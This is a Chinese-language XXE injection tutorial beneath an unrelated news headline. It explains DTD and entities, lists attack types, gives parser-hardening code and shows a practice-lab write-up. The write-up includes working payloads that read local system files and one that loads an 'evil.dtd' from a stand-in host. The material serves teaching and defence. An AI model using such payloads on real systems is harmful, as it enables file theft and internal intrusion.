1. 程式人生 > 資訊 >業內人士:IC 設計公司尋求與膝上型電腦客戶簽訂長期合同

業內人士:IC 設計公司尋求與膝上型電腦客戶簽訂長期合同


title: xxe漏洞

xxe漏洞

概述

XXE(XML External Entity Injection) 全稱為 XML 外部實體注入,從安全形度理解成XML External Entity attack 外部實體注入攻擊。

基礎知識拓展

  • xml
    • 簡介

      可擴充套件 標記語言標準通用標記語言的子集,簡稱XML。是一種用於標記電子檔案使其具有結構性 的標記語言

      在解析外部實體的過程中,XML解析器可以根據URL中指定的方案(協議)來查詢各種網路協議和服務(DNS,FTP,HTTP,SMB等)。 外部實體對於在文件中建立動態引用非常有用,這樣對引用資源所做的任何更改都會在文件中自動更新。 但是,在處理外部實體時,可以針對應用程式啟動許多攻擊。 這些攻擊包括洩露本地系統檔案,這些檔案可能包含密碼和私人使用者資料等敏感資料,或利用各種方案的網路訪問功能來操縱內部應用程式。 通過將這些攻擊與其他實現缺陷相結合,這些攻擊的範圍可以擴充套件到客戶端記憶體損壞,任意程式碼執行,甚至服務中斷,具體取決於這些攻擊的上下文。

      XML用於標記電子檔案使其具有結構性的標記語言,可以用來標記資料、定義資料型別,是一種允許使用者對自己的標記語言進行定義的源語言。XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素

    • xml文件構建模組

      所有的 XML 文件(以及 HTML 文件)均由以下簡單的構建模組構成:

      • 元素
      • 屬性
      • 實體
      • PCDATA
      • CDATA

      下面是每個構建模組的簡要描述。

      • 元素
        元素是 XML 以及 HTML 文件的主要構建模組,元素可包含文字、其他元素或者是空的。
        例項:

        <body>body text in between</body>
        <message>some message in between</message>
        

      空的 HTML 元素的例子是 "hr"、"br" 以及 "img"。

      • 屬性
        屬性可提供有關元素的額外資訊
        例項:

        <img src="computer.gif" />
        
      • 實體
        實體是用來定義普通文字的變數。實體引用是對實體的引用。

      • PCDATA
        PCDATA 的意思是被解析的字元資料(parsed character data)。
        PCDATA 是會被解析器解析的文字。這些文字將被解析器檢查實體以及標記。

      • CDATA
        CDATA 的意思是字元資料(character data)。
        CDATA 是不會被解析器解析的文字。

    • xml的DTD(文件型別定義)

      • 簡介

        DTD(文件型別定義)的作用是定義 XML 文件的合法構建模組。
        DTD 可以在 XML 文件內宣告,也可以外部引用。
        xxe漏洞主要是利用DTD可以外部引用這一點

      • 例項

        • 內部宣告:

          <!DOCTYPE 根元素 [元素宣告]> ex: <!DOCTYOE test any>
          
          <?xml version="1.0"?>
          <!DOCTYPE note [  
                   <!ELEMENT note (to,from,heading,body)>  
                   <!ELEMENT to      (#PCDATA)>  <!ELEMENT from    (#PCDATA)>  
                    <!ELEMENT heading (#PCDATA)>  <!ELEMENT body    (#PCDATA)>]>
          <note> 
                   <to>George</to> 
                   <from>John</from>  
                   <heading>Reminder</heading>  
                   <body>Don't forget the meeting!</body>
          </note>
          
        • 外部宣告(引用外部DTD):

          <!DOCTYPE 根元素 SYSTEM "檔名"> ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
          
          完整例項:
          <?xml version="1.0"?>
          <!DOCTYPE note SYSTEM "note.dtd">
          <note>
          <to>George</to>
          <from>John</from>
          <heading>Rreminder</heading>
          <body>Don't forget the meeting!</body>
          </note>
          
        • 而note.dtd的內容為:

          <!ELEMENT note (to,from,heading,body)>
          <!ELEMENT to(#PCDATA)>
          <!ELEMENT from (#PCDATA)>
          <!ELEMENT heading (#PCDATA)>
          <!ELEMENT body (#PCDATA)>
          
      • DTD實體

        • 簡介
          DTD實體是用於定義引用普通文字或特殊字元的快捷方式的變數,可以內部宣告或外部引用。

        • 具體

          實體又分為一般實體和引數實體
          1,一般實體的宣告語法:<!ENTITY 實體名 "實體內容“>
          引用實體的方式:&實體名;
          2,引數實體只能在DTD中使用,引數實體的宣告格式: <!ENTITY % 實體名 "實體內容“>
          引用實體的方式:%實體名;
          
        • 內部實體宣告:

          <!ENTITY 實體名稱 "實體的值"> ex:<!ENTITY eviltest "eviltest">
          
          <?xml version="1.0"?>
          <!DOCTYPE test [
          <!ENTITY writer "Bill Gates">
          <!ENTITY copyright "Copyright W3School.com.cn">
          ]>
          
          <test>&writer;&copyright;</test>
          
        • 外部實體宣告:

          <!ENTITY 實體名稱 SYSTEM "URI">
          
          <?xml version="1.0"?>
          <!DOCTYPE test [
          <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
          <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
          ]>
          <author>&writer;&copyright;</author>
          

XEE的攻擊

  • xxe漏洞原理和危害

    XXE(XML外部實體注入,XML外部實體),在應用程式解析XML輸入時,當允許引用外部實體時,可構造惡意內容,導致任意檔案,探測內網埠,攻擊內網網站,發起DoS Java中的XXE支援sun.net.www.protocol裡的所有協議:http,https,檔案,ftp,mailto,jar,netdoc。一般利用檔案協議讀取檔案,利用http協議檢測內網。

  • 怎樣構建外部實體注入?

    • 方法一:直接通過DTD外部實體宣告

      xml內容,
      可讀取檔案passwd的內容

    • 方法二:通過DTD文件引入外部DTD文件,在引入外部實體宣告

      • xml檔案內容

      • evil.dtd檔案內容

    • 方法三:通過DTD外部實體宣告引入外部實體宣告

      • 解釋一下

        意思就是先寫一個外部實體宣告,然後引用的是在攻擊者伺服器上面的外部實體宣告

      • xml內容

      • dtd檔案內容

  • 支援的協議

  • 具體攻擊例項

    • 讀取任意檔案


      該CASE是讀取/etc/passwd,有些XML解析庫支援列目錄,攻擊者通過列目錄、讀檔案,獲取帳號密碼後進一步攻擊,如讀取tomcat-users.xml得到帳號密碼後登入tomcat的manager部署webshell

    • 檔案讀取-資料不回顯


      如果資料不回顯,可以將資料傳送到遠端伺服器上,
      當觸發xxe攻擊後,伺服器會把檔案內容傳送到攻擊者的網站。

    • xxe-執行系統命令


      該CASE是在安裝expect擴充套件的PHP環境裡執行系統命令,其他協議也有可能可以執行系統命令。

    • xxe-探測內網埠


      該CASE是探測192.168.1.1的80、81埠,通過返回的“Connection refused”可以知道該81埠是closed的,而80埠是open的。

    • xxe-攻擊內網網站


      該CASE是攻擊內網struts2網站,遠端執行系統命令。

  • 防禦xxe攻擊

    • 使用開發語言提供的禁用外部實體的方法

      PHP:
      libxml_disable_entity_loader(true);
      
      JAVA:
      DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
      dbf.setExpandEntityReferences(false);
      
      Python:
      from lxml import etree
      xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
      
    • 過濾使用者提交的XML資料
      關鍵詞:

      <!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
      
  • 靶場例項

    • 實驗環境

      靶場:皮卡丘漏洞練習平臺
      php版本:7.3.4
      中介軟體:apache 2.4.36

    • 嘗試注入


      發現body標籤被解析,可能存在xml注入

    • 開始構建payload

      <?xml version="1.0" encoding="gb2312"?>
      <!DOCTYPE a [ 
      <!ENTITY xhh SYSTEM "C:/Windows/System32/drivers/etc/hosts">]>
      <a>&xhh;</a>
      

      執行結果


      成功通過xml外部實體函式獲取windows敏感檔案

      • 嘗試讀取遠端伺服器上的robot檔案

        <?xml version="1.0" encoding="gb2312"?>
        <!DOCTYPE a [ 
             <!ENTITY xhh SYSTEM "https://zhuanlan.zhihu.com/robots.txt">
        ]>
        <a>&xhh;</a>
        
      • 推薦